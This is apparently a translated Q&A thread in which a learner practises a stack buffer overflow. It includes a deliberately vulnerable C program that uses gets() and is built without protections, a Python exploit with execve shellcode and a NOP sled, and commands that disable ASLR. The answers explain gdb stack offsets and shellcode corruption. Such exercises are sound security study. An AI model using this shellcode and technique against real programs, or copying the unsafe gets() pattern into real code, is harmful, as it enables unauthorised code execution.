脆弱なテストプログラムを書いて、バッファオーバーフローを練習しました。しかし、それを機能させるのに苦労していました。最後に、戻りアドレスを少し変更した後、シェルを取得することができましたが、この小さな、一見重要ではない変更で問題が修正された理由がわかりません。
vuln.c
/**
* Compile:
*
* $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
*/
#include <stdio.h>
#include <string.h>
int main(void)
{
char buffer[256];
gets(buffer);
if (strcmp(buffer, "password") == 0)
{
printf("PASS\n");
}
else
{
printf("FAIL\n");
}
return 0;
}
exploit.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import struct
import sys
# Start-of-buffer = 0x00007fffffffdc50
if len(sys.argv) != 2:
sys.stderr.write('Usage: {progname!s} return-addr{linesep!s}'.format(
progname=__file__, linesep=os.linesep
)
)
sys.exit(1)
else:
return_addr = int(sys.argv[1], 16)
shellcode = b''.join([
b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # mov rax, 0x68732f6e69622f2f ; "hs/nib//" => "//bin/sh"
b'\x48\xc1\xe8\x08', # shr rax, 8
b'\x50', # Push rax
b'\x48\x89\xe7', # mov rdi, rsp
b'\x48\x31\xc0', # xor rax, rax
b'\x50', # Push rax
b'\x57', # Push rdi
b'\x48\x89\xe6', # mov rsi, rsp
b'\x50', # Push rax
b'\x48\x89\xe2', # mov rdx, rsp
b'\xb0\x3b', # mov al, 59
b'\x0f\x05', # syscall
]
)
PAYLOAD_SIZE = 256 + 8 + 8
padding = b'\x41' * 32
nopsled = b'\x90' * (PAYLOAD_SIZE - len(shellcode) - 8 - 8 - len(padding))
rbp = struct.pack('<Q', 0x4242424242424242)
rip = struct.pack('<Q', return_addr)
payload = nopsled + shellcode + padding + rbp + rip
sys.stdout.buffer.write(payload)
次を実行すると、SEGFAULTが表示されます。
$ { python exploit.py 0x00007fffffffdc50 ; echo ; cat - } | ./vuln
しかし、これは私にシェルを与えます:
$ { python exploit.py 0x00007fffffffdcd0 ; echo ; cat - } | ./vuln
テスト中にASLRを無効にしました。
$ echo 0 | Sudo tee /proc/sys/kernel/randomize_va_space
$ uname -r
4.19.81-1-MANJARO
$ gcc --version
gcc (GCC) 9.2.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
_buffer[]
_のアドレスをどのように決定していますか? gdbの下でアプリを実行し、アドレスを出力してから、そのアドレスを使用してgdbの外部で実行されているアプリケーションに対してエクスプロイトスクリプトを実行する場合、gdbの下で実行しているかどうかによって、スタックが別のアドレスにある可能性があることに注意してください。 !
たとえば、開始時にアドレスを出力するようにvuln.cを変更しました。
printf("%p\n", &buffer[0]);
アプリケーションを直接実行すると、結果は常に1つのアドレスになります。
_$ echo x | ./tmp 0x7fffffffe1f0
_
...しかし、アプリケーションをgdbで実行すると、結果は一貫して異なるアドレスになります。
_$ echo x | gdb -ex run ./tmp ... 0x7fffffffe1a0
_
これらの2つの値の違いは、エクスプロイトを機能させるために適用する必要がある "0x ... 50 <-> 0x ... d0"の違いかもしれません。
これで、gdb外でアプリを実行するときに非gdbバッファーアドレスを使用すると、エクスプロイトは期待どおりに機能します。
_$ ./tmp-exploit.py 0x7fffffffe1f0 | ./tmp 0x7fffffffe1f0 FAIL
_
$ ./tmp-exploit.py 0x7fffffffe1a0 | gdb -ex run ./tmp ... 0x7fffffffe1a0 FAIL process 23430 is executing new program: /bin/dash [Inferior 1 (process 23430) exited normally] (gdb) quit
これは、次のような情報がない場合の推測です。
Cコンパイラーは、strcmp()
の呼び出し後に_buffer[]
_が使用されないことを認識しているため、strcmp()
からの戻りとmain()
。これにより、_buffer[]
_の最初の数バイトが破損し、無効な命令が含まれ、セグメンテーション違反が発生する可能性があります。
これを確認するには、脆弱なアプリケーションをgdb
で実行し、main()
が戻って_buffer[]
_をダンプした後、gets()
にブレークポイントを設定します。 buffer
のアドレスを記録します。アプリケーションを続行し、segfaultを待ちます。ここで_buffer[]
_のメモリを再度ダンプし、コンテンツにまだnopsledが含まれているかどうか、または上書きされているかどうかを確認します。
_0x...50
_から_0x...90
_に変更することで、ペイロードの後の部分にジャンプし、破損した部分をスキップします。
ペイロードの小さなものを変更すると、試行の成功または失敗に大きな影響を与える可能性があります。小さな変更により、ペイロードがプログラムの実行をハイジャックするための許容可能な場所に配置され、前者は一部のバッファを上書きしただけでクラッシュを引き起こしたと考えています。